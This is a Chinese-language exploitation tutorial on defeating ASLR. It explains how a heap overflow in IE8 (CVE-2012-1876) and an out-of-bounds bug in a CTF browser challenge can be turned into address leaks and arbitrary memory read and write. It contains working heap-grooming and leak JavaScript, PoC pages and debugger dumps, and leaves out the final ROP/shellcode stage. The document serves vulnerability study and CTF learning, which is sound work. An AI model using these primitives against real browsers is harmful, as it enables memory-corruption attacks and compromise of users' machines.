引言
在现代的操作系统中,针对内存破坏方面的漏洞,提供了一系列的阻碍措施,类似DEP、CFG以及EMET。浏览器Exploit中,通过UAF/Double Free 乃至 堆溢出都能实现对内存的一定程度读写,但是碍于内存不可执行,浏览器利用中常常需要精确堆喷射结合ROP,前提是获取二进制文件(ELF/COFF)在内存中load的确切地址(地址泄漏)。文本暂时不讨论堆利用本身,会分别讨论两个浏览器漏洞,利用漏洞实现了OOB之后,如何在开启ASLR的情况下完成地址泄漏,帮助读者完成Exploit的最后一公里。
Linux下检查是否开始ASLR
ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,Linux 平台上的 ASLR 分为三级,由内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:
- 0:没有随机化。即关闭 ASLR。
- 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
$ cat /proc/sys/kernel/randomize_va_space
2
需要注意的是Linux下的ASLR默认不对代码段以及数据段(data段和bss段)进行随机化,于是gcc在编译时候加-pie参数,开启PIE机制的程序会对代码段和数据段也进行随机化。不过由于PIE是编译选项,PIE是否真正的开启是基于系统的ASLR是否开启。
Windows下检查是否开启ASLR
Windows在vista之后是默认开启ASLR的,并且Windows的ASLR同样会对代码段和数据段进行随机化,简单来说Windows的ASLR基本等于Linux下的ASLR加PIE。
绕过ASLR
- 利用未启用ASLR的模块绕过这部分的研究价值不高,和没有开ASLR的难度差别不大,所以这个方案就暂时不做演示。如果要寻找哪些模块没有开启ASLR,可以使用mona插件可以的mod命令查看。常见的例子,如java6的msvcr71.dll编译时时默认不支持ASLR的,所以很多exploit都使用这个模块构造ROP链来实现攻击。
- 泄露基地址绕过ASLR是最经典的绕过技术,也是CTF中最常见的绕过技术,这个技术在2010年左右兴起,用于对抗当时已经有较大市场份额的WIN7。这也是本文会着重分析的技术,重点会在漏洞利用。例如下文案例,IE浏览器利用中通过虚函数表获取mshtml.dll的基地址构造ROP链。
- yuange的天人模式袁哥在97年就发布的DVE数据虚拟执行技术,一项技术几乎能绕过DEP+ASLR+CFG+页堆保护等多项防护技术,并且在2014年在贴吧公布了技术细节。本文作者对这个技术知之甚少,依然在探究中,希望有朝一日能够掌握该技术的原理。
本次案例的两个漏洞,产生的原因并不相同(堆溢出和数组越界),但是在地址泄漏方面的方式是相同的。通过构造如下的结构,来读取虚函数表的地址,以达到任意地址泄漏。当然后者数组越界,可以进一步实现任意地址读写,利用到方式更加多样。
前置知识
-
BSTR是一种Pascal-Style字符串(明确标示字符串长度)和C-Style字符串(以结尾)的混合物,一般用于COM中,是Unicode字符串,即标示字符串长度,最后还有一个值为字节。BSTR的存储结构
- 字符串头 —-4字节 存储了包好字节(Byte)的个数
- 字符串内容 —-以unicode方式存储,每个字符两字节(w_char – 2byte)
- 结束符 —-结束符null, 2字节
- QArrayData是QT中定义的数组结构,头部包含一个24字节的数据结构。结构体定义如下。
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref;//引用计数
int size; //大小
uint alloc : 31; //分配的个数
uint capacityReserved : 1;//适应模式
qptrdiff offset; // in bytes from beginning of header 定位指针
void *data()
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}
const void *data() const
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}
// This refers to array data mutability, not "header data" represented by
// data members in QArrayData. Shared data (array and header) must still
// follow COW principles.
bool isMutable() const
{
return alloc != 0;
}
enum AllocationOption { //5种模式 分配模式 使用shared_null[0] 使用shared_null[1] 可以增长 默认
CapacityReserved = 0x1,
#if !defined(QT_NO_UNSHARABLE_CONTAINERS)
Unsharable = 0x2,
#endif
RawData = 0x4,
Grow = 0x8,
Default = 0
};
Q_DECLARE_FLAGS(AllocationOptions, AllocationOption)
size_t detachCapacity(size_t newSize) const
{
if (capacityReserved && newSize < alloc)
return alloc;
return newSize;
}
AllocationOptions detachFlags() const
{
AllocationOptions result;
if (capacityReserved)
result |= CapacityReserved;
return result;
}
AllocationOptions cloneFlags() const
{
AllocationOptions result;
if (capacityReserved)
result |= CapacityReserved;
return result;
}
static QArrayData *allocate(size_t objectSize, size_t alignment, //分配内存返回一个适配的 QArrayData指针
size_t capacity, AllocationOptions options = Default)
Q_DECL_NOTHROW Q_REQUIRED_RESULT;
static void deallocate(QArrayData *data, size_t objectSize, //释放内存
size_t alignment) Q_DECL_NOTHROW;
static const QArrayData shared_null[2]; // 静态的全局对象两个,在分配内存时可以使用Unsharable 和 RawData来指定使用这个两个对象来管理分配的内存
static QArrayData *sharedNull() Q_DECL_NOTHROW { return const_cast<QArrayData*>(shared_null); }
};
从堆溢出到地址泄漏
漏洞编号:CVE-2012-1876
程序 | 软件版本 |
---|---|
WIN7 | SP1(x86) |
IE8 | 8.0.7601.17514 |
CVE-2012-1876是法国安全团队Vupen在Pwn2Own2012上攻破Win7下IE9的两个漏洞之一,利用了<table>标签生成时的堆溢出漏洞,Vupen利用这个漏洞进行信息泄漏绕过ASLR并且成功攻下了IE9,其构造exploit的手法是绕过ASLR的教课书级别的利用。
poc
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" > </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
漏洞产生
漏洞利用浏览器对table对象中col标签的解析所产生的堆漏洞。
<table style="table-layout:fixed" ><col id="132" width="41" span="1" > </col></table>
漏洞函数CTableLayout::CalculateMinMax
原型
void __thiscall CTableLayout::CalculateMinMax(
CTableLayout* theTableLayoutObj,
LPVOID lpUnknownStackBuffer )
当Table表第一次创建时,向计算机申请了span*0x1c
(但最少为0x70)的堆空间。*
但当使用javascript修改这个对象的span
值,程序不会申请更大的内存空间,而是会向原本只有0x70的空间写入span*0x1c
的数据,造成堆溢出。
发生堆溢出的vulheap位于漏洞函数CalculateMinMax
的ebx+0x9c
位置
复制的数据来源是width的值(需要分析AdjustForCol函数),具体算法没有分析但当width=41
,传递的值为41*100=0x1004。
堆溢出的完整分析可以访问我的个人博客
如何利用
国外著名安全组织VUPEN的对该漏洞的利用方式是通过构造一连串的padding(BSTR字符串,0x100),来申请堆空间,然后通过堆溢出来读取/修改虚函数表。
- 泄漏地址部分
通过覆写BSTR字符串的前四个字节,修改其长度,再通过javascript读取,就能读取到后方的CButtonLayout对象的虚函数表内容。而CButtonLayout的虚函数表于其模块mshtml的偏移地址是固定的,能够帮助我们泄漏Mshtml基地址。
- 利用部分
再次溢出,修改CButtonLayout表的虚函数表指针。结合HeapSpray(heap-feng-shui)和ROP绕过DEP。
从exploit看OOB
通过构建BSTR数组结构,实现一个OOB(地址读取)来读取虚函数表。
首先创建大量的连续内存,大小为0x100的BSTR结构。然后将EEEE填充的部分释放(通过垃圾回收函数CollectGarbage)然后创建<table>
对象,占坑被释放的空间。col属性span=9,则会分配9*0x1c=0xfc,占坑之前被释放的0x100大小的空间。
形成上方的结构图。
<div id="evil"></div>
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
//1.布局堆块内存
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
Math.cos(3,2)
</script>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="2" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="3" width="41" span="9" > </col></table>
堆布局完成之后,修改span值,发生堆溢出。
只需要覆盖0x214的长度,就能覆盖BSTR(“BBBB”)的长度。而0x214=19*0x1c,所以将col的span参数修改为19,写入的数据正好能够覆盖到BSTR的头部。
填写的内容之前
var evil_col = document.getElementById("132");
evil_col.span = "19";
我们选择修改也就是最后一个<table>
元素(id=132),输出log之后找到最后一个vulheap(对应id=‘132’的col元素),查看其内存空间。BSTR的头部已经被覆盖为了00010048,于是获得一个越界读取的能力。
[溢出后]vulheap
0:016> dc 005258c0 L100
005258c0 00001004 00001004 00001004 00000000 ................ <--vulheap
005258d0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005258e0 00001004 00001004 00000000 00450045 ............E.E.
005258f0 00450041 00010048 00001004 00001004 A.E.H...........
00525900 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525910 00010048 00001004 00001004 00001004 H...............
00525920 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
00525930 00001004 00001004 00001004 00000000 ................
00525940 00450045 00450041 00010048 00001004 E.E.A.E.H.......
00525950 00001004 00001004 00000000 00450045 ............E.E.
00525960 00450041 00010048 00001004 00001004 A.E.H...........
00525970 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525980 00010048 00001004 00001004 00001004 H...............
00525990 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
005259a0 00001004 00001004 00001004 00000000 ................
005259b0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005259c0 00001004 00001004 000000fa 00410041 ............A.A.
005259d0 00410041 00010048 00001004 00001004 A.A.H...........
005259e0 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
005259f0 00010048 00001004 00001004 00001004 H...............
00525a00 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a10 00001004 00001004 00001004 00410041 ............A.A.
00525a20 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525a30 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525a40 00410041 00010048 00001004 00001004 A.A.H...........
00525a50 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
00525a60 00010048 00001004 00001004 00001004 H...............
00525a70 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a80 00001004 00001004 00001004 00410041 ............A.A.
00525a90 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525aa0 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525ab0 00410041 00010048 00001004 00001004 A.A.H...........
00525ac0 00001004 00000041 3ae939d2 88000000 ....A....9.:....
00525ad0 00010048<--length 00420042 00420042 00420042 H...B.B.B.B.B.B. <--BSTR
00525ae0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525af0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b00 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b10 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b20 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b30 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b40 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b50 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b60 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b70 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b80 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b90 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525ba0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bb0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bc0 00420042 00420042 00420042 00000042 B.B.B.B.B.B.B...
00525bd0 3ae939f1 8c000000 6b7c84f8 004dff88<--vrftable .9.:......|k..M.
00525be0 04fefb30 6b7c8690 <--vrftable 00000001 00000000 0.....|k........
00525bf0 01080809 ffffffff 00000000 00000000 ................
00525c00 00000000 ffffffff 00000080 ffffffff ................
使用如下代码将虚函数表地址提取出来,根据偏移地址001584f8计算出mshtml基地址为0x6b670000。到这里,我们已经完成了地址泄漏,接下来只需要注意使用mshtml自身对gadgets,那么ASLR对我们也就形同虚设了。
地址泄漏之后,通过覆盖虚函数表,需要结合HeapSpray和ROP等技术,大体内容与上一个案例相差无几。不再赘述了。
精确堆喷射->将rop和shellcode喷射到可控位置
覆盖虚函数表->将程序导入rop链中->stack povit将栈帧转移到堆中->ROP->PWN
因为我国的网络安全法的试行条例,完整的Exploit就不放出了。不过这个Exploit写出来稳定性还是非常高的,笔者也凭借该漏洞展示,混过了一次课堂作品展示。
泄露地址的exp
<script language='javascript'>
Math.sin(2,1)
var evil_col = document.getElementById("132");
//var evil_col = document.getElementById("1");
evil_col.span = "19";
var leak_addr=-1;
for(var i = 0;i<500;i++){
//提取虚函数表地址
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert(leak_addr.toString(16));
leak_addr=leak_addr-Number(0x001584f8);
alert(leak_addr.toString(16));
break;
}
}
</script>
Q:
肯定有读者有疑问,为什么要创建那么多table对象,而不只使用一个对象,然后溢出获得虚函数表。
A:
这个问题笔者也做了一个实验,在WIN7+IE8环境下,将<table>
只保留第一个,让js对该对象进行修改,将这个exp精简得非常短小,居然也能有非常高的成功率。
应该是因为这是笔者的实验环境是IE8,而当时PWN2OWN的环境是IE9,其内存保护机制更为复杂,所以采用了较大数量的<table>
保证成功率。
数组越界到任意地址读取
题目来源:BPK CTF –qwn2own
上一章节的IE漏洞,我们通过泄漏虚函数表绕过了ASLR,而并没有实现一个任意地址读取。本章节将讲解如何利用数组越界来进行一个真正意义上的任意地址读写。
漏洞存在于JS引擎的扩展,JS引擎则是webkit自带的javascriptcore
。题目的所有防护机制都是开启的。
通过访问题目提供的example.html和API文档来快速熟悉代码。当使用BKPDataBase创建数据存储,会返回一个BKInstancec对象。BKPInstance对象可以创建一个包含数组(QVector)的对象(QBJECT)BKPStore,该对象可以创建一个拥有对其存储数据的操作权。
数组越界
程序的BKPStore对象定义
class BKPStore : public QObject {
Q_OBJECT
public:
BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
void StoreData(QVariant v);
Q_INVOKABLE QVariant getall();
Q_INVOKABLE QVariant get(int idx);
Q_INVOKABLE int insert(unsigned int idx, QVariant var);
Q_INVOKABLE int append(QVariant var);
Q_INVOKABLE void remove(int idx);
Q_INVOKABLE void cut(int beg, int end);
Q_INVOKABLE int size();
private:
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
};
由于BKPStore的remove操作没有对输入参数进行限制,使用-1参数会导致erase函数对数组结构本身造成破坏,引发一个任意地址R/W漏洞。
void BKPStore::remove(int idx){
if(this->type == 0){
this->varvect.erase(this->varvect.begin() + idx);
}else if(this->type == 1){
this->intvect.erase(this->intvect.begin() + idx);
}else if(this->type == 2){
this->strvect.erase(this->strvect.begin() + idx);
}else{
// this doesn't happen ever
BKPException ex;
throw ex;
}
QT中erase内联函数(/src/corelib/tools/qvector.h)定义,erase如果只有一个参数,就只会对当前值erase,而不是一个范围。
iterator erase(iterator begin, iterator end);
inline iterator erase(iterator pos) { return erase(pos, pos+1); }
QT版本的erase的实现和标准的STL中基本一致,将erase范围内的数据删去,并且将aend以后的参数拷贝到前面新的空闲位置。(使用new或者memmove)
关键问题在于这个函数也没有对输入参数的检测,如果输入的参数为-1,那么abegin=-1,aend=0,erase会将原本index为0的数据,到QVector结构的前面(index=-1)。
template <typename T>
typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
Q_ASSERT_X(isValidIterator(abegin), "QVector::erase", "The specified iterator argument 'abegin' is invalid");
Q_ASSERT_X(isValidIterator(aend), "QVector::erase", "The specified iterator argument 'aend' is invalid");
const auto itemsToErase = aend - abegin;
if (!itemsToErase)
return abegin;
Q_ASSERT(abegin >= d->begin());
Q_ASSERT(aend <= d->end());
Q_ASSERT(abegin <= aend);
const auto itemsUntouched = abegin - d->begin();
// FIXME we could do a proper realloc, which copy constructs only needed data.
// FIXME we are about to delete data - maybe it is good time to shrink?
// FIXME the shrink is also an issue in removeLast, that is just a copy + reduce of this.
if (d->alloc) {
detach();
abegin = d->begin() + itemsUntouched;
aend = abegin + itemsToErase;
if (!QTypeInfoQuery<T>::isRelocatable) {
iterator moveBegin = abegin + itemsToErase;
iterator moveEnd = d->end();
while (moveBegin != moveEnd) {
if (QTypeInfo<T>::isComplex)
static_cast<T *>(abegin)->~T();
new (abegin++) T(*moveBegin++);
}
if (abegin < d->end()) {
// destroy rest of instances
destruct(abegin, d->end());
}
} else {
destruct(abegin, aend);
// QTBUG-53605: static_cast<void *> masks clang errors of the form
// error: destination for this 'memmove' call is a pointer to class containing a dynamic class
// FIXME maybe use std::is_polymorphic (as soon as allowed) to avoid the memmove
memmove(static_cast<void *>(abegin), static_cast<void *>(aend),
(d->size - itemsToErase - itemsUntouched) * sizeof(T));
}
d->size -= int(itemsToErase);
}
return d->begin() + itemsUntouched;
}
BKPStore对象操作对象QVector,定义了三个不同的QVector指针(对应不同的type,1对应int,2对应str,0对应var),如果忘了可以往上翻,重新看一下这个对象的定义。
QVector数据结构为QArrayData
头部长度24byte,offset这个值正好在array的前面。如果使用remove(-1)正好会把offset值删去,并将我们写入数组的第一个值放入offset值。(虽然实际上只能覆盖低八位,不过已经足够够了,offset值本身就用不到高8位)
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref; //4 byte 引用计数
int size; //4 byte 大小
uint alloc : 31; // 4 byte 分配大小
uint capacityReserved : 1; //4byte
qptrdiff offset; //8 byte // in bytes from beginning of header arry距离数组的偏移
// array starts here
void *data() //动态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}
const void *data() const //静态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}
POC
通过POC可以看到,通过remove(-1) QArryData数组的第一位0覆盖了offset,
然后程序将整个结构的头部打印了出来。
Poc1.html
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
A.remove(-1);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}
document.getElementById("print").innerHTML=x;
</script>
头部分别是ref=1 ,size因为remove所以减少了1
0 : 900000001 1<--ref 9 <--size
1 : 7faa0000000d
2 : 0
3 : 1
4 : 2
5 : 3
6 : 4
7 : 5
8 : 6
9 : 0 <--size减少导致的不可读(9及以下都不可读)
10 : 0
11 : 0
12 : 0
13 : 0
14 : 0
此时通过inset可以将size值修改为任意值,从而达到任意地址读取的效果。
A.insert(0,0xffff000000001);
如图所示,我们将size值改为了0xffff(还要保证ref=1,否则会被垃圾回收机制干掉),于是后面的地址都能打印出来了。
poc2.html
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
A.remove(-1);
A.insert(0,0xffff000000001);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}
document.getElementById("print").innerHTML=x;
</script>
构造Exploit
一些要点:Js的heap和QT(我们这次分析的)的heap是分开的,QT直接用的libc的heap。所以内存查找不用担心找到js中的key1
通过匹配store_ping值,寻找C对象的BKPStore结构地址
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var key1=0xabcd1234;
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
var C=db.createStore("C",1,[0,1,2,3,4,5,6,7,8,9],key1);
B.remove(-1);
B.insert(0,0xffff000000001);
var x="";
for(var i=0;i<2000 ;i++)
{
//x+=i+" : "+B.get(i).toString(16)+"<br>";
if(B.get(i)==key1){
//alert("i="+i);
for(var j=i-10;j<i+10;j++)
{
x+=j+" : "+B.get(j).toString(16)+"<br>";
}
}
}
document.getElementById("print").innerHTML=x;
</script>
构造两个Vector,读取另一个的虚函数表,判断条件 store_ping参数 ,对照结构可以取到第二个Vector的intvect地址
BKPStore结构参考
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
JS打印出了BKPStore的结构,我们可以获取这个QVector的地址还有后文用于泄漏地址的Vtable地址。
打印地址时候需要注意的是,因为创建大量的内存,heap内部空间会比较乱,很可能读取到上一次遗留/错误的地址。添加一个判断条件来保证BKPStore的正确性,必须保证读取到的strvect和varvect相等(未初始化状态),
intvect的内容,指向QArrayData结构
实现任意地址读写
任意地址写的思路很简单,通过控制对象C_Vector的offset大小,实现任意地址读写。修改offset的方法,只需通过BVector的越界读写修改C的offset即可
使用read读取vtable的内容
<div id="out"></div>
<script type="text/javascript">
function print(str)
{
document.getElementById("out").innerHTML+=str+"<br>";
}
function exploit(){
//任意地址读
function read(addr)
{
offset=addr-C_vec; //计算读取地址和Cvector数组的距离
B.insert(B2C_index-1,offset); //修改offset为距离
info=C.get(0); //读取
if(C.get(0)==key2) //检测offset是否成功修改
return false;
B.insert(B2C_index-1,0);
return info;
}
for (var i = 1000; i >= 0; i--) {
var db=BKPDataBase.create("dbname","passwd");
var key1=Math.floor(Math.random()*1e12); //随机生成
var key2=Math.floor(Math.random()*1e12);
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xabc);
var C=db.createStore("C",1,[key2,0xbbbb,0xdeadbeef],key1);
B.remove(-1);
B.insert(0,0xffff000000001);
var B2C_index=-1; //B->QArrayData数组 到 C ->QArrayData 的距离
var C_vec=-1;//C->QArrayData
var vtable;
var x="";
//获取 C_vec地址
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key1&&B.get(i-1)==B.get(i-3)&&C_vec==-1){
C_vec=B.get(i-2);
vtable=B.get(i-6);
//alert(vtable.toString(16));
}
}
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key2&&B.get(i+1)==0xbbbb&&B.get(i+2)==0xdeadbeef&&B2C_index==-1){
B2C_index=i;
}
}
if(B2C_index!=-1&&C_vec!=-1)
{
x=("C_vec="+C_vec.toString(16)+"<br>");
x+=("B2C_index="+B2C_index.toString(16)+"<br>");
if(read(vtable)==false)
continue;
x+="info="+read(vtable).toString(16); //读取vtable的值
print(x);
break;
}
}
}
exploit();
</script>
Gdb attach到浏览器,查看虚函数表地址
gef➤ x/20xg 0x55f34f2ed400
0x55f34f2ed400 <_ZTV8BKPStore+16>: 0x000055f34f0e8b80 0x000055f34f0e8eb0
0x55f34f2ed410 <_ZTV8BKPStore+32>: 0x000055f34f0e8ff0 0x000055f34f0e93d0
0x55f34f2ed420 <_ZTV8BKPStore+48>: 0x000055f34f0e9230 0x00007f7f7d357b10
同理任意地址写的代码只需把read函数的get换成insert
function write(addr,content)
{
offset=addr-C_vec;
B.insert(B2C_index-1,offset); //修改offset
if(C.get(0)==key2) //检测offset是否成功修改
return false;
C.insert(0,content);
return true;
}
不过这里,任意地址写没办法修改虚函数表,会报段错误。修改程序流程只需要将vtable覆盖即可,不过这次的案例并不会覆盖虚表的方式,而会使用JIT Page的方式写入shellcode。因为篇幅问题,完整利用详见我的博客。
小结
本次的两个案例,前者通过堆溢出来修改BSTR结构实现地址泄漏,而后者本身就是数组越界漏洞,同样可以用前者的方式来完成利用,由于QArrayData结构的特殊性,可以进一步实现一个OOB(任意地址读/写)漏洞。数组结合javascript依然是内存漏洞的绕过ASLR的重要手段,不仅仅是浏览器,支持脚本语言软件都有可能被如此灵活的运用。作为漏洞研究者,这类技术是可以被总结存入武器库中的,而作为防御者(/开发者),则更需要从漏洞中吸取教训,防止一个普通的数组越界再次创造一个神洞。